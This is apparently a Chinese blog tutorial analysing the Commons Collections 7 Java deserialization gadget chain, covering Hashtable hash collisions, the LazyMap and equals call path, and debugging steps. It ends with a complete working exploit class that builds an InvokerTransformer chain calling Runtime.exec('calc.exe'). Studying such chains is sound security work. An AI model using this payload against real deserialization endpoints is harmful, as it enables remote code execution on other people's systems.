首页 > 编程语言 >Java反序列化:CommonsCollections7调试分析

Java反序列化:CommonsCollections7调试分析

时间:2023-09-14 15:55:26浏览次数:58  
标签:Map CommonsCollections7 Java value key import put new 序列化

Commons Collections 7

基础知识

1.HashTable

散列表,也称为哈希表,以key-value形式进行访问的数据结构

HashTable具有线程安全:多个线程同时访问它时,不会导致数据不一致。

相对于HashMap、ConcurrentHashMap等线程安全性散列表,HashTable比较古老

诸如散列表,常见的类方法:

  • put
  • get
  • remove

Hashtable.put()

函数的大致逻辑为:

检查value是否为空

由于key可能为对象之类的,所以存入散列表的时候需要以其散列值来存(key.hashCode())

然后计算索引值,找到所要put的条目信息应该存在哪张表里(这个结构可以理解为两级页表)

然后迭代器遍历,查找是否有相同散列值的key,有则返回previous value

无则插入新的条目信息,返回空值

整个过程调用了相关函数hashCodeequals

    public synchronized V put(K key, V value) {
        // Make sure the value is not null
        if (value == null) {
            throw new NullPointerException();
        }

        // Makes sure the key is not already in the hashtable.
        Entry<?,?> tab[] = table;
        int hash = key.hashCode();
        int index = (hash & 0x7FFFFFFF) % tab.length;
        @SuppressWarnings("unchecked")
        Entry<K,V> entry = (Entry<K,V>)tab[index];
        for(; entry != null ; entry = entry.next) {
            if ((entry.hash == hash) && entry.key.equals(key)) {
                V old = entry.value;
                entry.value = value;
                return old;
            }
        }

        addEntry(hash, key, value, index);
        return null;
    }

2. AbstractMapDecorator

AbstractMapDecorator 是 Apache Commons Collections(Apache Commons 集合框架)中的一个抽象类,用于实现装饰器模式以扩展或修改 java.util.Map 接口的行为。

本质上是实现Map的接口

3. AbstractMap

给出了equals的一个具体实现

    public boolean equals(Object o) {
        if (o == this)
            return true;

        if (!(o instanceof Map))
            return false;
        Map<?,?> m = (Map<?,?>) o;
        if (m.size() != size())
            return false;

        try {
            Iterator<Entry<K,V>> i = entrySet().iterator();
            while (i.hasNext()) {
                Entry<K,V> e = i.next();
                K key = e.getKey();
                V value = e.getValue();
                if (value == null) {
                    if (!(m.get(key)==null && m.containsKey(key)))
                        return false;
                } else {
                    if (!value.equals(m.get(key)))
                        return false;
                }
            }
        } catch (ClassCastException unused) {
            return false;
        } catch (NullPointerException unused) {
            return false;
        }

        return true;
    }

调试分析

本质上是利用了hash碰撞来触发equals函数,进一步触发了LazyMap.get函数

测试demo

public class HashCodeTest {

    public static void main(String[] args) throws Exception{


        Map testMap1 = new HashMap();
        Map testMap2 = new HashMap();

        Map lazyMap1 = LazyMap.decorate(testMap1,new ChainedTransformer(new Transformer[]{}));
        testMap1.put("yy",1);

        Map lazyMap2 = LazyMap.decorate(testMap2,new ChainedTransformer(new Transformer[]{}));
        testMap2.put("zZ", 1);


        System.out.println(lazyMap1.hashCode());
        System.out.println(lazyMap2.hashCode());
	}
}

image-20230914154742451

Gadget Chain

首先需要经过两次的hashCode,然后从进入如下的调用链

/*
java.util.Hashtable.readObject
    java.util.Hashtable.reconstitutionPut
        org.apache.commons.collections.map.AbstractMapDecorator.equals
            java.util.AbstractMap.equals
                org.apache.commons.collections.map.LazyMap.get
                    org.apache.commons.collections.functors.ChainedTransformer.transform
                        org.apache.commons.collections.functors.InvokerTransformer.transform
                            java.lang.reflect.Method.invoke
                            sun.reflect.DelegatingMethodAccessorImpl.invoke
                            sun.reflect.NativeMethodAccessorImpl.invoke
                            sun.reflect.NativeMethodAccessorImpl.invoke0
                            java.lang.Runtime.exec
*/

调试过程

  • 字节数组在经过反序列化形成对象的时候,由于调用put函数,需要调用hashCode

image-20230914152102133

image-20230914152008595

  • 在put中调用了equals函数

image-20230914152214769

  • 然后调用了AbstractMapDecorator.equals

  • 然后调用了AbstractMap.equals,然后调用了LazyMap的get方法触发Runtime类反射调用

image-20230914152720231

EXP

package CC7;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import utils.DeSerialization;
import utils.Reflection;
import utils.Serialization;

import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7EXP {

    public static void main(String[] args) throws Exception{

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
                new ConstantTransformer(1)
        };

        Transformer transformerChain = new ChainedTransformer(new Transformer[]{});

        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();

        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
        lazyMap1.put("yy",1);

        Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
        lazyMap2.put("zZ", 1);

        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 2);

        // 设置字段值
        Reflection.setFieldValue(transformerChain,"iTransformers",transformers);

        lazyMap2.remove("yy");

        // 序列化和反序列化
        byte[] bytecodes = Serialization.serialize(hashtable);

        DeSerialization.deserialize(bytecodes);
    }
}

标签:Map,CommonsCollections7,Java,value,key,import,put,new,序列化
From: https://www.cnblogs.com/icfh/p/17702728.html

相关文章

  • JAVA架构与开发(JAVA架构是需要考虑的几个问题)
       在企业中JAVA架构师主要负责企业项目技术架构,企业技术战略制定,技术框架搭建,技术培训和技术攻坚的工作。   在JAVA领域,比较多的都是web项目。用于解决企业的数字化转型。对于JAVA架构师而言,平时对项目的架构主要考虑这几个方面的问题。 一、项目的业务架构:包......
  • java架构师是做什么的 java架构师的工作内容
    Java架构师每天的工作是什么?Java架构师估计是每个java程序员都向往的职位吧,不过成为java架构师是需要经历漫长修炼的,不过我们可以先了解一下Java架构师每天的工作内容,感兴趣的小伙伴不妨看看吧。 java架构师是做什么的java架构师的工作内容1.负责设计和建设软件系统架构(平台......
  • java中有哪些并发的List?只知道一种的就太逊了
    java中有很多list,但是原生支持并发的并不多,我们在多线程的环境中如果想同时操作同一个list的时候,就涉及到了一个并发的过程,这时候我们就需要选择自带有并发属性的list,那么java中的并发list到底有哪些呢?今天要给大家介绍的是ArrayList、CopyOnWriteArrayList、ConcurrentLinkedDeque......
  • 开源消息中间件ActiveMQ回顾:Java客户端实现
    前一段时间工作中经常使用到ApacheActiveMQ用作消息传输。今天在公司不是很忙,于是又深入研究了一下,总结一下分享出来。基于ActiveMQ的Java客户端实现例子。接口定义:publicinterfaceMQService{publicvoidstart();publicvoidsendQueueMessage(Stringtext)throws......
  • 不再困惑!Java中for循环的全面解析
    Java中的for循环是一种常用的循环结构,用于重复执行一段代码。它的基本语法如下:for(初始化语句;条件表达式;更新语句){//循环体代码}其中,初始化语句用于初始化循环控制变量;条件表达式用于判断是否继续循环;更新语句用于更新循环控制变量的值。具体来说,for循环的执行过程如下......
  • Java中ProcessBuilder使用
    可以使用java中的ProcessBuilder执行本地命令或脚本等工作:以下是一个简单的使用java调用本地python脚本的例子。从某工程代码中整理出来的,未封装,仅供参考。List<String>commands=newArrayList();commands.add("python");commands.add(pkg);commands.add("--ad=test");//...其......
  • 获取JavaApplication当前工程路径
    前日因工作中使用到日志和配置工具类,使相关信息输出文件中,因此总结了一下java中获取当前路径的方法(非web工程)。1、File类:Filefile=newFile(".");System.out.println(file.getCanonicalPath());//如果是..则返回上一级文件夹System.out.println(file.getAbsolut......
  • Java反序列化漏洞实现
    Java反序列化漏洞实现一、说明以前去面试被问反序列化的原理只是笼统地答在参数中注入一些代码当其反序列化时被执行,其实“一些代码”是什么代码“反序列化”时为什么就会被执行并不懂;反来在运营商做乙方经常会因为java反反序列化漏洞要升级commons.collections或给中间件打补丁......
  • Java图片剪裁功能实现
    目前一些社交型互联网应用都有一些上传图片(例如头像,照片等)对预览图进行剪裁的功能。前一段时间在工作也遇到这个问题,总结一下基本实现步骤及代码(包含图片放大,缩小,设置品质,对指定点区域剪裁功能),使用JPEG格式图片测试通过,其它格式图片尚未验证。一、基本步骤:1.将图片文件的InputS......
  • Java动态代理详解
    不定期整理硬盘内源代码、笔记、总结等,同时发上来分享一下。今天再发一篇关于Java动态代理的总结(貌似ItEye一天最多发5篇Blog,再多只能放草稿箱了?)-----------------------------------------------------------Java动态代理详解说到动态代理,顾名思义就是动态的代理(真是废话)。关......